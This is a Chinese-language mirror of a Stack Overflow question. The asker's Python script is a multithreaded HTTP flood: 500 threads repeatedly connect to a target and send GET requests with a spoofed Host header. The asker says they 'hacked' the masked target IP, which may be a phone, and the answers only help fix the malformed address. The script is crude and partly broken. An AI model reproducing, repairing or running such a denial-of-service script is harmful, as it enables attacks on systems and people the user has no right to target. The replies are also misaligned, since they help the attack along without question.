【问题标题】:Python socket connecting - why do i get this error?Python 套接字连接 - 为什么会出现此错误?
【发布时间】:2021-06-01 09:12:02
【问题描述】:

当我运行我的代码时,我得到这个错误:s.connect((target, port))socket.gaierror: [Errno 11001] getaddrinfo failed

这是我的代码:

import socket
import threading

port = 80
target = ' 127.0.0'
fakeip = '168.192.1.1'

def attack():
    while 5>3:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        #v prvem oklepaju je sam to da ti spot pise, ne nucas met v kodii
        s.send(('Get /' + target + 'HTTP/1.1\r\n').encode('ascii'), (target, port))
        s.send(('Host:' + fakeip + '\r\n\r\n').encode('ascii'), (target, port))
        s.close()

for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()

错误在第 9 行 (s.connect((target, port))

【问题讨论】:

    标签: python multithreading sockets


    【解决方案1】:

    变量“目标”应该是一个真实的IP地址。像这样:“127.0.0.1”

    【讨论】:

    • 这是一个真实的 ip 地址,我只是把它掩盖了,在我的原始代码中我有正确的 ip
    • IP 可以来自手机吗?是这个问题吗?
    • @gapi31 你掩盖了问题。
    • 在这里我已经为你修复了它,它仍然给我同样的错误。我已经破解了 IP,它是真实的
    • 现在变量目标中的 IP 地址不正确。它包含一个空格和忘记的最后一个数字。 Ip addr 应包含 4 个按点分隔的数字。尝试 ping 你的目标 ip
    猜你喜欢
    • 2021-01-08
    • 1970-01-01
    • 1970-01-01
    • 2020-05-07
    • 1970-01-01
    • 1970-01-01
    • 2021-03-29
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多